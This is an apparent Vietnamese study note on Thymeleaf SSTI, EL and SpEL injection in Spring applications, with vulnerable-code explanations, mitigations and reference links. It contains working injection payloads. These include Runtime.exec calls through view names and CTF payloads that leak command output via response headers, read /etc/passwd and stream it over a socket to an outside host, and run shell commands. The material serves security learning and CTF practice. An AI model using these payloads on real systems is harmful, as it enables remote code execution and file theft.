# EL injection && SpEl && SSTI # 1. Thymeleaf SSTI ## 1.1 Templatename Khi ứng dụng sử dụng thymeleaf + spring(boot), mà attacker có thể control được view path => Bug có thể rce Đoạn code dính bug ![](https://hackmd.io/_uploads/rkSVWdVO3.png) Trước khi Thymeleaf thực hiện load file từ hệ thống để render thì [Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java#L277) class sẽ parse cái template name như một expression ```javascript try { // By parsing it as a standard expression, we might profit from the expression cache fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}"); } ``` Đoạn code trên dẫn đến EL injection => RCE **PAYLOAD EXPLOIT** ```javascript http://127.0.0.1:8080/admin/?language=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.k http://127.0.0.1:8080/admin//?language=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.k ``` Một vài cách để hạn chế bug này khi code +) Thêm annotation @ResponseBody ```javascript @GetMapping("/safe/fragment") @ResponseBody public String safeFragment(@RequestParam String section) { return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name } ``` +) Redirect: khi redirect và nhận input từ người dùng thì logic nó sẽ khác, nó sẽ ko gọi đến Thymeleaf class để parse. Mà gọi đến RedirectView, vẫn có thể tồn tại bug open redirect nhưng sẽ ko có bug RCE +) Thêm tham số HttpServletResponse ```javascript @GetMapping("/safe/doc/{document}") public void getDocument(@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); //FP } ``` ## 1.2 URI Path Đoạn code bị lỗi, mặc dù nó ko return cái gì cả nhưng vẫn dính bug. ```javascript= @GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI } ``` Chú ý là 2 bug ở trên chỉ tồn tại ở thymleaf version 3.x thoi, ở version 3.x thymleaf có tính năng fragment exression mới dính bug còn version 2.x thì ko có. Đúng câu thêm tính năng thêm bugs :))) Những version của thymleaf tương ứng với spring boot ![](https://hackmd.io/_uploads/ByKadZndh.png) Source code demo: https://github.com/veracode-research/spring-view-manipulation Labs: https://github.com/cn-panda/ThymeleafSSTIBypass/tree/main Tham khảo: https://www.cnpanda.net/sec/1063.html https://xz.aliyun.com/t/11688#toc-1 https://www.anquanke.com/post/id/254519#h3-12 https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ # 2. EL injection Tham khảo: +) https://forum.butian.net/share/886 +) https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/ +) https://securitylab.github.com/research/bean-validation-RCE/ +) https://github.com/Y4tacker/JavaSec/blob/main/17.%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%2B%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9B%B8%E5%85%B3/el%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%BB%95waf%E7%9A%84trick/index.md +) https://blog.viettelcybersecurity.com/when-el-injection-meets-java-deserialization/ # 3. SpEL injection Ví dụ code bị lỗi ![](https://hackmd.io/_uploads/SyZ94dNd3.png) Code ko lỗi ![](https://hackmd.io/_uploads/ryYo4uNOh.png) Source code demo: https://github.com/jzheaux/spel-injection/tree/master Bypass waf: https://www.pmnh.site/post/writeup_spring_el_waf_bypass/ Pre-authentication RCE in OpenMetadata: https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/ Basic SpEL: http://rui0.cn/archives/1043 # NOTE - Trường hợp không có internet, ghi output ra response headers (TETCTF 2024 Java censor) ``` T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter("\\A").next())) ``` CrewCTF 2024 Read file ``` new java.io.FileInputStream(new java.io.File("/etc/passwd")).transferTo(new java.net.Socket(\"abc123\", 1337).getOutputStream()) ``` Đọc file thông qua response headers (jdk version thấp), version cao thì sử dụng payload ở trên vẫn chạy. ``` T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().setHeader('k',new+java.io.BufferedReader(new+java.io.FileReader('/tmp/xxxx')).readLine()) ``` ``` T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA=="))) ``` Đọc file trên windows ``` T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,new+java.io.BufferedReader(new+java.io.FileReader('c:/users/datdo/OneDrive/Desktop/flag.txt')).readLine()) ``` Truyền vào 1 array trong getRuntime.exec() ``` __${T(java.lang.Runtime).getRuntime().exec(new String[]{"sh","-c","gcc -o /tmp/flag /flag.c"}).waitFor()}__::.x ```